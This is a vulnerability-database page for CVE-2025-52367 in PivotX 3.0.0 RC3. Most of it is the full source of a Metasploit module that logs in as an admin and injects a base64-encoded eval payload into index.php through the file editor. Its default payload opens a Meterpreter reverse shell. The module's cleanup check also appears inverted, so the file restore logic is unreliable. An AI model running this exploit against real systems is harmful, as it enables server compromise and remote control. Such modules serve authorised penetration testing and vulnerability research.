| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2025-52367 | 17 Jul 202521:02 | – | circl | |
| PivotX 3.0.0 RC3 安全漏洞 | 16 Jul 202500:00 | – | cnnvd | |
| CVE-2025-52367 | 22 Sep 202500:00 | – | cve | |
| CVE-2025-52367 | 22 Sep 202500:00 | – | cvelist | |
| PivotX 3.0.0 RC3 - Remote Code Execution (RCE) | 16 Jul 202500:00 | – | exploitdb | |
| EUVD-2025-30753 | 22 Sep 202500:00 | – | euvd | |
| PivotX Remote Code Execution | 13 Aug 202518:54 | – | metasploit | |
| CVE-2025-52367 | 22 Sep 202519:15 | – | nvd | |
| CVE-2025-52367 | 22 Sep 202519:15 | – | osv | |
| 📄 PivotX 3.0.0 RC3 Remote Code Execution / Cross Site Scripting | 16 Jul 202500:00 | – | packetstorm |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
include Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PivotX Remote Code Execution',
'Description' => %q{
This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'HayToN', # security research
'msutovsky-r7' # module dev
],
'References' => [
[ 'EDB', '52361' ],
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
[ 'CVE', '2025-52367']
],
'Targets' => [
[
'Linux',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'DisclosureDate' => '2025-07-10',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('USERNAME', [ true, 'PivotX username', '' ]),
OptString.new('PASSWORD', [true, 'PivotX password', '']),
OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php')
})
return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200
return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered')
html_body = res.get_html_document
return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
version = Rex::Version.new(Regexp.last_match(1))
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
end
def login
data_post = Rex::MIME::Message.new
data_post.add_part('', nil, nil, %(form-data; name="returnto"))
data_post.add_part('', nil, nil, %(form-data; name="template"))
data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username"))
data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password"))
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'login' },
'ctype' => "multipart/form-data; boundary=#{data_post.bound}",
'data' => data_post.to_s,
'keep_cookies' => true
})
fail_with(Failure::NoAccess, 'Login failed, incorrect username/password') if res&.get_html_document&.at("//script[contains(., 'Incorrect username/password')]")
fail_with(Failure::Unknown, 'Login failed, unable to pivotxsession cookie') unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
@csrf_token = Regexp.last_match(1)
end
def modify_file
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'homeexplore' }
})
fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching working directory') unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/
@base_dir = Regexp.last_match(1)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
})
fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching index.php') unless res&.code == 200
@original_value = res.get_html_document.at('textarea')&.text
fail_with(Failure::Unknown, 'Could not find content of index.php') unless @original_value
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
})
fail_with(Failure::PayloadFailed, 'Failed to insert malicious PHP payload') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end
def trigger_payload
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php')
})
end
def restore
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
})
vprint_status('Restoring original content')
vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end
def cleanup
super
# original content can be any string, it cannot be nil
restore if @original_value.nil?
end
def exploit
vprint_status('Logging in PivotX')
login
vprint_status('Modifying file and injecting payload')
modify_file
vprint_status('Triggering payload')
trigger_payload
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation